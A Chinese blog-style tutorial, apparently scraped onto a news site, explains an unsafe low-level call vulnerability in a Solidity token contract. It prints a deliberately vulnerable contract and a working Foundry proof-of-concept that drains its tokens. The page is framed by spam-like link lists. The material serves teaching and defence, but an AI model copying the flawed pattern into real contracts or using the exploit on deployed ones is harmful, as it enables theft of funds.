当前位置: 首页 > news >正文

动态ip建网站wordpress+360友链

动态ip建网站,wordpress+360友链,三点水网站建设合同,设计网站猪八戒区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability 1.1 漏洞合约1.2 漏洞分析1.3 攻击步骤分析1.4 攻击合约 Name: 不安全调用漏洞 (Unsafe Call Vulnerability) 重点#xff1a; 在 TokenWhale 合约的 approveAndCallcode 函数中#xff0c;漏洞允许任… 区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability 1.1 漏洞合约1.2 漏洞分析1.3 攻击步骤分析1.4 攻击合约 Name: 不安全调用漏洞 (Unsafe Call Vulnerability) 重点 在 TokenWhale 合约的 approveAndCallcode 函数中漏洞允许任意调用并传入任意数据。攻击者可以通过该函数利用 call(_extraData) 执行恶意代码例如调用 transfer 函数将资金转移给攻击者从而实现重入攻击并窃取资金。 1.1 漏洞合约 // SPDX-License-Identifier: MIT pragma solidity ^0.8.18; /* 名称: 不安全调用漏洞 (Unsafe Call Vulnerability)描述: 在 TokenWhale 合约的 approveAndCallcode 函数中该漏洞允许执行任意调用并传入任意数据从而导致潜在的安全风险和意外后果。该函数使用低级调用 (_spender.call(_extraData))在没有对 _spender 地址的有效性或 _extraData 数据进行任何验证的情况下执行代码。 这可能导致意外行为、重入攻击或未授权的操作。这个练习展示了在调用合约时输入和返回值未被检查的低级调用漏洞。 如果调用数据可控则很容易引发任意函数执行。缓解措施: 应尽可能避免使用低级调用 call。参考: https://blog.li.fi/20th-march-the-exploit-e9e1c5c03eb9 */import forge-std/Test.sol;contract TokenWhale {address player;uint256 public totalSupply;mapping(address uint256) public balanceOf;mapping(address mapping(address uint256)) public allowance;string public name Simple ERC20 Token;string public symbol SET;uint8 public decimals 18;function TokenWhaleDeploy(address _player) public {player _player;totalSupply 1000;balanceOf[player] 1000;}function isComplete() public view returns (bool) {return balanceOf[player] 1000000; // 1 mil}event Transfer(address indexed from, address indexed to, uint256 value);function _transfer(address to, uint256 value) internal {balanceOf[msg.sender] - value;balanceOf[to] value;emit Transfer(msg.sender, to, value);}function transfer(address to, uint256 value) public {require(balanceOf[msg.sender] value);require(balanceOf[to] value balanceOf[to]);_transfer(to, value);}event Approval(address indexed owner,address indexed spender,uint256 value);function approve(address spender, uint256 value) public {allowance[msg.sender][spender] value;emit Approval(msg.sender, spender, value);}function transferFrom(address from, address to, uint256 value) public {require(balanceOf[from] value);require(balanceOf[to] value balanceOf[to]);require(allowance[from][msg.sender] value);allowance[from][msg.sender] - value;_transfer(to, value);}/* Approves and then calls the contract code*/function approveAndCallcode(address _spender,uint256 _value,bytes memory _extraData) public {allowance[msg.sender][_spender] _value;bool success;// vulnerable call execute unsafe user code(success, ) _spender.call(_extraData);console.log(success:, success);} } 1.2 漏洞分析 approveAndCallcode()函数中的call可以调用_spender地址的任意函数。 1.3 攻击步骤分析 调用 approveAndCallcode 函数将 _spender 参数设置为 TokenWhaleContract 合约的地址。 将 _extraData 参数设置为 transfer 函数的函数签名及其参数触发低级调用 call从而执行 transfer 函数实现重入攻击。 输出结果 1.4 攻击合约 // SPDX-License-Identifier: MIT pragma solidity ^0.8.18;import forge-std/Test.sol; import ./UnsafeCall.sol;contract ContractTest is Test {TokenWhale TokenWhaleContract;address Koko;address Aquarius;function setUp() public {TokenWhaleContract new TokenWhale();Koko vm.addr(1);Aquarius vm.addr(2);// vm.deal(address(Koko), 1 ether);// vm.deal(address(Aquarius), 1 ether);vm.prank(Koko);TokenWhaleContract new TokenWhale();TokenWhaleContract.TokenWhaleDeploy(address(TokenWhaleContract));console.log(TokenWhale balance:,TokenWhaleContract.balanceOf(address(TokenWhaleContract)));}function testUnsafeCall() public {vm.prank(Aquarius);uint256 AquariusBalance;uint256 TokenWhaleBalance;AquariusBalance TokenWhaleContract.balanceOf(address(Aquarius));console.log(Aquarius Balance:, AquariusBalance);bytes memory _extraData abi.encodeWithSignature(transfer(address,uint256),address(Aquarius),700);TokenWhaleContract.approveAndCallcode(address(TokenWhaleContract),0,_extraData);assertEq(TokenWhaleContract.balanceOf(address(Aquarius)), 700);console.log(Attack success!!);TokenWhaleBalance TokenWhaleContract.balanceOf(address(TokenWhaleContract));console.log(TokenWhale Balance:, TokenWhaleBalance);AquariusBalance TokenWhaleContract.balanceOf(address(Aquarius));console.log(Aquarius Balance:, AquariusBalance);} }
http://www.hkea.cn/news/14560862/

相关文章:

  • 做网站须知WordPress 5.0升级
  • 虚拟机怎么做网站wordpress单页导航模版
  • 深圳市交易建设工程交易服务中心网站seo百度站长工具查询
  • 泰兴做网站电话网页设计与制作相关书籍
  • 聊城手机网站制作专业做网站建设制作服务
  • 国家示范校建设专题网站工商网站备案办法
  • 如何建设一个博客网站教育网站建设备案
  • php 家政网站ps切片工具做网站
  • 湖北省住房和建设厅官方网站企业网站怎么制作流程
  • 500元制作网站asp 网站数据库连接错误
  • 网站建设培训网站天辰建设网
  • 海报在线制作网站dz网站模板 首页显示内容
  • 个人网站转为企业网站石碣网站建设
  • 网站地图1 500 怎么做百度服务中心电话
  • 做取名的网站很赚钱吗模特公司网站模板
  • 网站开发项目总结昆明软件开发培训
  • 企业网站制作是什么设计本子封面
  • 两个域名同时指向一个网站阿里云建网站流程
  • 广州网站建设厂家百度竞价排名官网
  • vpn网站模板茂名手机网站建设公司
  • 新建网站如何推广湖人最新消息
  • 网站如何安装wordpress电子商务网站建设研究
  • 江西旺达建设工程有限公司网站软件工程就业方向和前景
  • 承德做网站的公司学校网站首页设计图片
  • 邓砚谷电子商务网站建设wordpress主题汉化中文版
  • 湖北省建设工程质量协会网站云主机推荐
  • 织梦网站主页代码在后台怎么改电影wordpress
  • 淘宝客单页网站程序小程序在哪里
  • 京东网站开发技术福州什么推广网站好
  • 文化网站模版加载wordpress外部文件路径